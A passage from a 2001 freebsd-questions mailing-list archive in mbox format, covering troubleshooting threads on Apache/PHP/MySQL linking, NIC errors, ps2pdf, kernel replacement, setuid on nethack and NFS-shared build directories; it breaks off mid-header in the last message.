<003501c172b9$dd8239e0$962a6ba5@lc.ca.gov> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wednesday 21 November 2001 6:25 pm, Drew Tomlinson wrote: > The preface in the PDF FAQ at > http://www.smoothwall.org/download/pdf/docs/0.9.9/doc.faq.pdf seems > to be a good guide on how to ask questions in forums such as this > one. It might be a place to direct those that don't seem to have a > clue as to how support groups such as this one work. > > Anyway, just my opinion and I wanted to share the link with anyone > who may be interested. > > Drew > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message ESR has a good guide as well, somewhere on his home page (http://www.tuxedo.org/~esr/). -- Dominic To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 23:59:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mip.co.za (puck.mip.co.za [209.212.106.44]) by hub.freebsd.org (Postfix) with ESMTP id 5F69A37B416 for ; Wed, 21 Nov 2001 23:59:09 -0800 (PST) Received: from patrick (patrick.mip.co.za [10.3.13.181]) by mip.co.za (8.9.3/8.9.3) with SMTP id JAA29552; Thu, 22 Nov 2001 09:58:59 +0200 (SAST) (envelope-from patrick@mip.co.za) From: "Patrick O'Reilly" To: "Jacob Rhoden" , Subject: RE: php/apache/mysql incompatibilities - more info Date: Thu, 22 Nov 2001 10:04:00 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <5.0.0.25.2.20011122101151.00a73540@vicyouth.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > From: Jacob Rhoden > Sent: 22 November 2001 20:19 > > Hi, Hi! > > I send this information the other day, But I will send it again - Because > apache 1.3.12 has some d.o.s flaws, I have had to upgrade a > working niceley > 4.3-STABLE system. > > So what I have is: > mod_php4-4.0.6_5 > mysql-client-3.23.43 > mysql-server-3.23.43 > apache_1.3.22 > > They all install ok no matter what order I install them, but apache will > not start with the following error: > > Syntax error on line 56 of /usr/local/etc/apache/httpd.conf: > Cannot load /usr/local/libexec/apache/libphp4.so into server: > /usr/local/lib/mysql/libmysqlclient.so.10: Undefined symbol "strtoll" Let's have a look at your httpd.conf, especially somewhere near line 56 ... > It appears to me to be a problem with libmysqlclient.so - And I have been > searching for info related to that and strtoll online and on mysql.com to > no avail. > > Any ideas would be really appreciated because I suspect I may not be the > only person who may end up with this problem. > > Regards, > Jacob Rhoden > Dito, Patrick. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 0:25:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.viasoft.com.cn (unknown [61.153.1.177]) by hub.freebsd.org (Postfix) with ESMTP id DDB9437B417 for ; Thu, 22 Nov 2001 00:25:14 -0800 (PST) Received: from davidwnt (davidwnt.viasoft.com.cn [192.168.1.239]) by mail.viasoft.com.cn (8.9.3/8.9.3) with SMTP id QAA23232 for ; Thu, 22 Nov 2001 16:32:14 +0800 Message-ID: <004a01c1732e$abb21870$ef01a8c0@davidwnt> From: "David Xu" To: Subject: vm_uiomove help Date: Thu, 22 Nov 2001 16:21:22 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: quoted-printable X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I am studying FreeBSD vm source code, currently I am blocked by vm_uiomove() in vm_map.c, could anyone tell me why we need=20 following lines to determine if it the first_object was not replaced: if ((first_object->type =3D=3D OBJT_VNODE) && ((oldobject =3D entry->object.vm_object) =3D=3D first_object)) I see vm_map_clip_start{end} don't replace object within that entry, so ((oldobject =3D entry->object.vm_object) =3D=3D first_object) is = needn't, am I wrong? -- Regards, David Xu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 0:28:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from i01sv4138.ids1.intelonline.com (i01sv4138-p.ids1.intelonline.com [147.208.166.9]) by hub.freebsd.org (Postfix) with ESMTP id EABBC37B41B for ; Thu, 22 Nov 2001 00:28:35 -0800 (PST) Received: from i01sv4178 (unverified [10.81.26.23]) by i01sv4138.ids1.intelonline.com (Rockliffe SMTPRA 4.5.4) with SMTP id for ; Thu, 22 Nov 2001 08:28:34 +0000 Message-ID: From: Matthias Bartels To: "questions@freebsd.org" X-Originating-IP: [217.4.88.100] Date: Thu, 22 Nov 2001 9:28:34 +0100 X-MSMail-Priority: Normal X-mailer: AspMail 4.0 4.02 (SMT4DD4B4F) Subject: ps2pdf Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Servus, i have problem using ps2pdf i am using latex to generate dvi files, this files i convert using dvips -f -j0 -Pcmz -t a4 myDviFile.dvi > output.ps i convert this ps file with ps2pdf output.ps But when i try to open this document under windows with acroread i get an error message: "... The Root element is missing or invalid." Opening the same pdf under FreeBSD works fine. Same problem when i use ps2pdf12, ... This would be no problem if everybody would be clever enough to use FreeBSD, but i know there are still some faithless out there that do not ;) So has anybody an idea?? Thank you M.Bartels Ringtones, Logos und crazy Mailbox Ansagen für Dein Nokia-Handy @ www.genie.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 0:41:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 4D1A737B417 for ; Thu, 22 Nov 2001 00:41:28 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAM8fMh79351; Thu, 22 Nov 2001 09:41:22 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <012201c17331$77518ef0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Scott Mitchell" Cc: "FreeBSD Questions" References: <010b01c172d6$186032d0$0a00000a@atkielski.com> <20011121230655.B307@localhost> Subject: Re: Error on xl0 Date: Thu, 22 Nov 2001 09:41:20 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Scott writes: > At a guess, it means your Ethernet card ran out > of data to send partway through a packet. Sifting through the Net, I noticed mentions of this error in connection with SCSI interfaces, although I have nothing attached to my SCSI adapter at the moment. Apparently it is not a fatal error. > A lack of bandwidth somewhere in your system > could cause this kind of thing... were you generating > a lot of network traffic and hammering your > disk(s) at the same time with the fvwm compile? Maybe. Also, the LAN is 100 Mbps, but the connection to the outside world is a 10 Mbps Ethernet connection to a 1 Mbps DSL line--a 100-to-1 difference. I don't know if that would be significant. As long as it is recoverable, I guess it doesn't matter. What little I was able to dig up implied that it wasn't a hardware error, although it might be the result of a hardware limitation. > I believe from previous exchanges that you're running > a board with a VIA 686 southbridge -- these *are* known > to have issues with data corruption and sensitivity wrt > what's plugged in where on the PCI bus. According to the FAQ, some motherboard manufacturers have tweaked their BIOS to resolve sound-card issues in a way that conflicts with the chipset. Of the several solutions listed, that of replacing the drivers doesn't help much, because only Windows drivers are provided. If a driver problem can be fixed to resolve it, that would imply that some driver in FreeBSD needs to be changed to resolve the problem. However, I don't even know that I have any such problem. The symptoms are not described. I don't use the sound card at all, and in fact the machine has never made any noise, which implies to me that no sound-card support is installed. (How do I know if sound-card support is present?) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 1: 2: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from backup.dagupan.com (www.psysc.org.ph [206.101.69.5]) by hub.freebsd.org (Postfix) with ESMTP id E17EC37B418 for ; Thu, 22 Nov 2001 01:01:59 -0800 (PST) Received: by apmail.dagupan.com with Internet Mail Service (5.5.2653.19) id ; Thu, 22 Nov 2001 17:02:06 +0800 Message-ID: <10F29E27A956D511B0940050DA8D86A9340BE6@apmail.dagupan.com> From: francisv@dagupan.com To: freebsd-questions@freebsd.org Subject: Maximizing throughput Date: Thu, 22 Nov 2001 17:02:06 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I have an Intel Pro 100/S NIC on FreeBSD 4.4-STABLE -- transferring huge (~650MB) files to another computer is only around 1.78Mbps. The machines are connected via a Cisco 3500XL switch at full-duplex, 100Mbps. Is there any other way to increase the throughput or is this the actual bandwidth limit? --- francis a. vidal [bitstop network services] | http://www.dagupan.com streaming media + web hosting | http://www.keystone.ph v(02)330-2871,(02)330-2872; f(02)330-2873 | http://www.kuro.ph To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 1: 3: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kulog.upm.edu.ph (kulog.upm.edu.ph [165.220.24.62]) by hub.freebsd.org (Postfix) with ESMTP id 62FAF37B685 for ; Thu, 22 Nov 2001 00:58:14 -0800 (PST) Received: from kulog.upm.edu.ph [165.220.24.62] (ammag) by kulog.upm.edu.ph with smtp (Exim 2.05 #1 (Debian)) id 166lRq-00010l-00; Thu, 22 Nov 2001 12:26:50 +0800 Date: Thu, 22 Nov 2001 12:26:49 +0800 (PHT) From: "Anthony M. Magsino" X-Sender: ammag@kulog.upm.edu.ph To: Scott Cc: Marco Radzinschi , Doug Garrick , questions@FreeBSD.ORG Subject: Re: 4.4 In-Reply-To: <5.1.0.14.0.20011118233146.0585be90@pop-server.nyc.rr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi everybody! boot time depends on your hardware and your kernel configuration. you would have faster boot if you have a customized compact kernel. I have TL Linux 6.0, FreeBSD 4.3 and Win98SE on one machine. my boot times are as follows: FreeBSD: 12 sec :) TL Linux: 15 sec :) Win98SE: 64 sec :< On Sun, 18 Nov 2001, Scott wrote: > At 23:01 2001/11/18 -0500, Marco Radzinschi wrote: > > >I second that... bloody RedHat Linux 7 and 7.1 took 10 times as long to > >boot as FreeBSD. > > > Heh--this got me curious enough to do a very lax test--a machine where I > have several O/S's installed---KII6 450 with 192 megs of Ram. Booting from > RH's Grub, so I began counting after the O/S began to boot--that is, if I > choose FreeBSD, first it does this chainloader thing. > > Lots of factors that I ignored, but, with all but Win2k booting into text > mode.... > > Trustix Linux (a stripped down RH clone) > 15 seconds > FreeBSD 18 seconds > Slackware 8.0 18 seconds > RH 7.2 31 seconds > And, the Winner--- > Windows 2000 Professional 65 seconds. :) > > Subjectively, FreeBSD just seems faster in many ways --as if it reacts > more quickly to keystrokes than any of the others. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 1: 3: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id CF84A37B419 for ; Thu, 22 Nov 2001 01:02:57 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAM92lh79409; Thu, 22 Nov 2001 10:02:47 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <012901c17334$750f86d0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Ken Bolingbroke" , "FreeBSD Questions" References: Subject: Re: Error on xl0 Date: Thu, 22 Nov 2001 10:02:47 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ken writes: > Just by plugging the error message in google.com, > I get a whole list of hits suggesting various possible > solutions. Have you tried any of these? The one solution I've seen involves recompiling a driver module (and presumably rebuilding the kernel?), which seems like dramatic overkill and risk for what is apparently only a diagnostic message. The error apparently occurs when the NIC cannot obtain the PCI bus quickly enough to refill its buffer. Looking at dmesg.today I note the presence of an "unknown card" on pci0; I have only two cards in the PCI slots, the NIC and an unused Adaptec 2930UW SCSI adapter. The "unknown card" message gives "vendor=0x13f6, dev=0x0111" as the only identification. Is there someplace on the Web where I can look this up? There is also some other internal stuff on pci0, apparently, including a VIA 83c572 USB controller, which is useless to me (I have no USB devices), a VIA 82C686 ISA bridge of some sort, and a "PCI-to-PCI bridge," whatever that is. However, as long as it's a diagnostic and not a fatal error, I don't know that I want to "fix" the problem. At the same time, though, if there is a way to direct messages like this somewhere besides sending them instantly to root, I'd like to know how that is done. It's irritating to have them spurting onto the screen all the time. Is there a way to, say, route them all to the system console, but not to other terminals with root logins, or to a file, or something? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 1: 7:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 8042837B405 for ; Thu, 22 Nov 2001 01:07:16 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAM976h79428; Thu, 22 Nov 2001 10:07:06 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <013601c17335$0f7373d0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Gary W. Swearingen" Cc: References: <00a601c17202$0f9af880$0a00000a@atkielski.com><200111202228.47120@starbreaker.net><005701c17289$446b6720$0a00000a@atkielski.com><00ff01c172d4$a45e6f10$0a00000a@atkielski.com> Subject: Re: home pc use Date: Thu, 22 Nov 2001 10:07:06 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Gary writes: > Oh, I see. That's like a typical Unix console > which allows you to switch between multiple > "virtual terminals" or use of the "screen" > command which does a similar thing if you > can't use virtual terminals. I looked a little bit at screen but haven't figured it out entirely yet. > But at least you have the benefits of Windows. Yes, and without paying $540 for eXceed. > KDE (and probably GNOME) (which we (?) call > "desktop managers" or "desktop systems") do > use a lot of config-related files. KDE did it, then. My mistake. > As for reasons, I can only say that various > designers have various schemes of organizing > data. They need to learn to cooperate. They can look to Windows as an example of what not to do. > As for fixing KDE's mess, I can only remember > removing one big/deep directory. I blasted that as well. From the slight pause that occurred when I removed it, it must have been filled with junk. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 1: 9: 7 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kulog.upm.edu.ph (kulog.upm.edu.ph [165.220.24.62]) by hub.freebsd.org (Postfix) with ESMTP id 34AEA37B416 for ; Thu, 22 Nov 2001 01:08:57 -0800 (PST) Received: from kulog.upm.edu.ph [165.220.24.62] (ammag) by kulog.upm.edu.ph with smtp (Exim 2.05 #1 (Debian)) id 166q0m-0000YC-00; Thu, 22 Nov 2001 17:19:13 +0800 Date: Thu, 22 Nov 2001 17:19:11 +0800 (PHT) From: "Anthony M. Magsino" X-Sender: ammag@kulog.upm.edu.ph To: Chops Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Set max folder size In-Reply-To: <001601c17167$191a78e0$0400a8c0@hwaet> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Use quota. On Mon, 19 Nov 2001, Chops wrote: > Is there a way to set a folders maximum size, to keep people from storing > more information than I am willing to allow? > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 1: 9:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kulog.upm.edu.ph (kulog.upm.edu.ph [165.220.24.62]) by hub.freebsd.org (Postfix) with ESMTP id BE4B737B419 for ; Thu, 22 Nov 2001 01:09:08 -0800 (PST) Received: from kulog.upm.edu.ph [165.220.24.62] (ammag) by kulog.upm.edu.ph with smtp (Exim 2.05 #1 (Debian)) id 166prQ-0008HW-00; Thu, 22 Nov 2001 17:09:32 +0800 Date: Thu, 22 Nov 2001 17:09:31 +0800 (PHT) From: "Anthony M. Magsino" X-Sender: ammag@kulog.upm.edu.ph To: Gavin Weng Cc: freebsd-questions@FreeBSD.ORG Subject: Re: how to replace the new kernel, not recompile. In-Reply-To: <002001c17163$be745300$0f01a8c0@testing.local> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi! Read the FreeBSD Handbook on locking and unlocking the kernel. Its found in the kernel configuration section. On Tue, 20 Nov 2001, Gavin Weng wrote: > Dear Sir, > I won't compile my kernel, I do have customized one already. > But I don't know how to replace my kernel into original one. > When I try to copy my new kernel to original. It always say permission not > allow.. I used "chmod" to change the permission for kernel as root position. It's doesn't work... > Don't know what should I do.. > Please help me.. > > > Thanks > > Gavin > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 1: 9:41 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kulog.upm.edu.ph (kulog.upm.edu.ph [165.220.24.62]) by hub.freebsd.org (Postfix) with ESMTP id CF41B37B405 for ; Thu, 22 Nov 2001 01:09:27 -0800 (PST) Received: from kulog.upm.edu.ph [165.220.24.62] (ammag) by kulog.upm.edu.ph with smtp (Exim 2.05 #1 (Debian)) id 166poe-0007sS-00; Thu, 22 Nov 2001 17:06:40 +0800 Date: Thu, 22 Nov 2001 17:06:38 +0800 (PHT) From: "Anthony M. Magsino" X-Sender: ammag@kulog.upm.edu.ph To: Dennis Logan Cc: freebsd-questions@freebsd.org Subject: Re: home pc use In-Reply-To: <3BF9B12B.3D521A4D@nycap.rr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG YES! but if you're new to FreeBSD, you might find yourself a little lost. Read the documentations. and continuously participate in this list. Good luck. On Mon, 19 Nov 2001, Dennis Logan wrote: > Hi, > Can i use this operating system instead of win98 on my pc? > dennis > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 1:15:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 539D837B416; Thu, 22 Nov 2001 01:15:40 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAM9Fbh79484; Thu, 22 Nov 2001 10:15:38 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <014201c17336$40653f90$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "FreeBSD Questions" , Subject: setuid on nethack? Date: Thu, 22 Nov 2001 10:15:37 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This morning I see an e-mail from the system telling me that setuid is set on nethack, the adventure-style game that I installed recently. Why would this game require this bit? I reset it with chmod 0544, which seems like plenty to me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 1:24:51 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f148.law10.hotmail.com [64.4.15.148]) by hub.freebsd.org (Postfix) with ESMTP id 855DE37B418 for ; Thu, 22 Nov 2001 01:24:47 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 22 Nov 2001 01:24:47 -0800 Received: from 194.128.74.5 by lw10fd.law10.hotmail.msn.com with HTTP; Thu, 22 Nov 2001 09:24:46 GMT X-Originating-IP: [194.128.74.5] From: "Graham Lillico" To: mwm@mired.org Cc: questions@freebsd.org Subject: Re: Filesystem Sizes Date: Thu, 22 Nov 2001 09:24:46 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 22 Nov 2001 09:24:47.0258 (UTC) FILETIME=[873FB7A0:01C17337] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG What i was originally thinking was to put /usr/src, /usr/obj, & /usr/ports on seperate filesystems but I didn't know how big to make them, but your way souund better and /usr/home was going to be seperate and NFS mounted from the fileserver anyway. All platforms are either FreeBSD or Windows, there is a Linux Firewall but thats getting replaced by FreeBSD as soon as I can get my head around ipfilter properly. The main idea was to allow say the fileserver to do the buildworld as you said and then the other systems to just do the installworld. I assume that in your setup that /ports/distfiles would also be a link to /share/distfiles, as not every system will contain the same ports as the other systems, or would the fileserver have to do 'make package' first on ports that were to be installed on other systems. So being that I have one 20Gb disk and two 40Gb disks what sort of filesystem layout would you reccomend? They are all IDE and I could just about stretch to another 40Gb disk at a push. Any help will definitely be appreciated, as this seems to be getting more complicated by the minute. Yes I definitely agree that this need documenting, setting up a fileserver to do src, ports, home dir's is a pain. Perhaps I'll consider writing somethig once I get this thing sorted. Graham >From: Mike Meyer >To: "Graham Lillico" >CC: questions@freebsd.org >Subject: Re: Filesystem Sizes >Date: Wed, 21 Nov 2001 15:03:28 -0600 > >Graham Lillico types: > > So what i'm now thinking is to have the 80Gb filesystem (2x40Gb Hardware > > raid) mounted as /usr on the fileserver and then nfs export /usr/ports, > > /usr/src, and /usr/obj to the other FreeBSD systems, then on the 20Gb >disc > > that contains the system have about 10Gb exported as /usr/home. > > > > Does this sounds like a good plan? Or am I letting myself in for some > > problems? > >Well, it seems like an aweful lot of space for /usr. There are three >potential problems: 1) All three directories will have to be exported >with the same permissions; 2) If you wind up running different >platforms, you'll have to build ports/system for them differently; 3) >Installing a port on one system will make the other systems thing it's >not installed. > >Personally, I'd do it this way: > >1 drive: / >1 drive: /share >1 drive: /home > >20GB should be enough space for any of those, unless you're planning >on doing something very strange. If you're using IDE, / and /share >need to be on different controllers. Putting /home on a third >controller won't hurt. > >/share is exported r/w to the world. /usr/obj is symlinked to >/share/obj. /usr/src and /usr/ports are on /, exported r/o. > >This lets you make buildworld on the system with local disk, and make >installworld on other systems that mount /usr/src and /shar and have >the /usr/obj symlink. Putting /usr/obj and /usr/src on different >disks/controllers improves buildworld performance more than putting >them on vinum. You can do the same for kernels if you set > > KERNCONF=BUILDKERNEL OTHERSYSTEM THIRDSYSTEM > >in /etc/make.conf. All the kernels will be built by make buildkernel, >and the first one on the line will be installed by make installkernel. > >In /etc/make.conf, you have DISTDIR=/share/distfiles, >WRKDIRPEFIX=/usr/ports-build, and PACKAGES=/share/packages. > >This lets systems share distfiles that have been downloaded and the >/usr/ports tree, and avoids the problems of conflicting builds. If you >want to distribute a port to multiple system, do "make package" after >you've installed it, and the other systems will get the the package >from /share/packages. > >One of these days, I have to write all this stuff up formally. > > -- >Mike Meyer http://www.mired.org/home/mwm/ >Q: How do you make the gods laugh? A: Tell them your plans. _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 1:25:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from straylight.ringlet.net (sentinel.office1.bg [217.75.134.126]) by hub.freebsd.org (Postfix) with SMTP id 27A7737B426 for ; Thu, 22 Nov 2001 01:25:03 -0800 (PST) Received: (qmail 3173 invoked by uid 1000); 22 Nov 2001 09:24:17 -0000 Date: Thu, 22 Nov 2001 11:24:16 +0200 From: Peter Pentchev To: Anthony Atkielski Cc: FreeBSD Questions , freebsd-security@freebsd.org Subject: Re: setuid on nethack? Message-ID: <20011122112415.B855@straylight.oblivion.bg> Mail-Followup-To: Anthony Atkielski , FreeBSD Questions , freebsd-security@freebsd.org References: <014201c17336$40653f90$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <014201c17336$40653f90$0a00000a@atkielski.com>; from anthony@freebie.atkielski.com on Thu, Nov 22, 2001 at 10:15:37AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 22, 2001 at 10:15:37AM +0100, Anthony Atkielski wrote: > This morning I see an e-mail from the system telling me that setuid is set on > nethack, the adventure-style game that I installed recently. Why would this > game require this bit? I reset it with chmod 0544, which seems like plenty to > me. AFAIK, many games on Unix systems are setuid or setgid 'games', so that any user on the system can read and write the high scores and saved games. If you only intend to play Nethack from one particular system account, you should have no problem without the setuid bit, but make sure to set the appropriate owner/group/permissions on the high scores and saved games files/dirs. G'luck, Peter -- If this sentence didn't exist, somebody would have invented it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 1:27:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.viasoft.com.cn (unknown [61.153.1.177]) by hub.freebsd.org (Postfix) with ESMTP id 44EF837B416 for ; Thu, 22 Nov 2001 01:27:20 -0800 (PST) Received: from davidwnt (davidwnt.viasoft.com.cn [192.168.1.239]) by mail.viasoft.com.cn (8.9.3/8.9.3) with SMTP id RAA23549 for ; Thu, 22 Nov 2001 17:34:18 +0800 Message-ID: <001a01c17337$58592fc0$ef01a8c0@davidwnt> From: "XuYifeng" To: Subject: vm_uiomove() help Date: Thu, 22 Nov 